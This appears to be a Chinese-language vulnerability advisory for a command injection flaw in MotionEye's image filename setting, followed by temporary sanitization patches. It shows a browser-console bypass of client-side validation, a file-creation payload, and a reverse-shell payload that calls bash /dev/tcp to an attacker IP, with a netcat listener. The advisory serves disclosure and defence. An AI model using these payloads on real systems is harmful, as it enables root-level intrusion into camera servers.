在对运行在 Docker 中的 MotionEye 实例进行安全测试时,发现其 Web 界面中的客户端验证可以被绕过。这允许提交任意输入,包括可在宿主容器中触发执行的载荷。该漏洞如果被利用,存在远程代码执行(RCE)的风险。
受影响版本:包括 0.43.1b4 在内的所有版本
补丁状态:目前尚无可用补丁。本公告中提供了一种临时解决方案。
项目引用:https://github.com/motioneye-project/motioneye
CWE:CWE-20、CWE-78、CWE-116
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
CVSS 评分:7.2/10
ghcr.io/motioneye-project/motioneye:edge9999 映射到容器的 8765admin / 空密码(默认)执行以下命令以下载 Docker 镜像并启动容器
docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge

docker logs motioneye | grep "motionEye server"
结果: MotionEye 服务器 0.43.1b4

Docker 容器运行后,可以使用以下命令访问容器 shell
docker exec -it motioneye /bin/bash
ls -la /tmp

访问 Web 界面:
http://127.0.0.1:9999
登录:admin(空密码)
添加了示例 RTSP 网络摄像头。

在“静态图像” > “图像文件名”中输入了一条恶意执行命令,但遇到了客户端验证错误。
$(touch /tmp/test).%Y-%m-%d-%H-%M-%S
被客户端验证阻止。


以下脚本负责验证:/static/js/main.js?v=0.43.1b4,该脚本引用了 /static/js/ui.js?v=0.43.1b4 来实现验证条件。
文件:/static/js/main.js?v=0.43.1b4 引用 /static/js/ui.js?v=0.43.1b4
function configUiValid() {
$('div.settings').find('.validator').each(function () { this.validate(); });
var valid = true;
$('div.settings input, select').each(function () {
if (this.invalid) { valid = false; return false; }
});
return valid;
}
通过在浏览器控制台中覆盖 configUiValid 函数,可以绕过所有验证检查:在浏览器控制台(F12 或 Ctrl+Shift+I)中输入以下代码段
configUiValid = function() {
return true;
};

现在可以直接输入载荷而无需验证:设置如下并应用设置
设置:
$(touch /tmp/test).%Y-%m-%d-%H-%M-%S

应用 → 文件以 root 权限 创建。

简单的反向 Shell 制作:
监听器:
nc -lvnp 4444

注入载荷:
$(python3 -c "import os;os.system('bash -c \"bash -i >& /dev/tcp/192.168.0.108/4444 0>&1\"')").%Y-%m-%d-%H-%M-%S

结果:获得远程 Shell。
MotionEye 之所以存在漏洞,是因为它从 Web 仪表盘获取用户输入并直接将未经过滤的内容写入 Motion 配置文件中,而未检查危险字符。例如,UI 中的字段 image_file_name 被发送到后端(config.py)并保存到 /etc/motioneye/camera-<id>.conf 中。当 MotionEye 重启 Motion 服务(motionctl.start)时,Motion 进程读取此配置文件。如果 picture_filename 字段包含类似 $(touch /tmp/test) 的 shell 语法,Motion 会将其作为实际命令执行,而不是作为文件名的一部分。
未经过滤的输入写入 Motion 配置文件:
仪表盘 JS → ConfigHandler.set_config() → camera-1.conf → motionctl.restart() → motion 解析 picture_filename → 执行载荷
文件:/usr/local/lib/python3.13/dist-packages/motioneye/config.py
def sanitize_filename(value):
# 仅允许字母、数字、%、_、-、/、.
for ch in value:
if not (ch.isalnum() or ch in "%-_/."):
return "%Y-%m-%d/%H-%M-%S" # 安全回退
return value

应用过滤:
data['picture_filename'] = sanitize_filename(ui['image_file_name'])
data['snapshot_filename'] = sanitize_filename(ui['image_file_name'])
修改前:
修改后:

docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge
docker exec -it motioneye /bin/bash
docker cp motioneye:/usr/local/lib/python3.13/dist-packages/motioneye/config.py ./config.py
docker cp ./Mconfig.py motioneye:/usr/local/lib/python3.13/dist-packages/motioneye/config.py
原始内容:
on_event_start = [f"{meyectl.find_command('relayevent')} start %t"]
on_event_end = [f"{meyectl.find_command('relayevent')} stop %t"]
on_movie_end = [f"{meyectl.find_command('relayevent')} movie_end %t %f"]
on_picture_save = [f"{meyectl.find_command('relayevent')} picture_save %t %f"]
替换为:
import re
on_event_start = [f"{meyectl.find_command('relayevent')} start '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}'"]
on_event_end = [f"{meyectl.find_command('relayevent')} stop '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}'"]
on_movie_end = [f"{meyectl.find_command('relayevent')} movie_end '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}' '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%f')}'"]
on_picture_save = [f"{meyectl.find_command('relayevent')} picture_save '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}' '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%f')}'"]

docker restart motioneye

在 motion_camera_ui_to_dict(...) 内部:
原始内容:
data['picture_filename'] = ui['image_file_name']
data['snapshot_filename'] = ui['image_file_name']
替换为:
from re import sub
data['picture_filename'] = (sub(r'[^A-Za-z0-9._%/-]', '_', ui['image_file_name']).lstrip('/') or '%Y-%m-%d/%H-%M-%S')
data['snapshot_filename'] = (sub(r'[^A-Za-z0-9._%/-]', '_', ui['image_file_name']).lstrip('/') or '%Y-%m-%d/%H-%M-%S')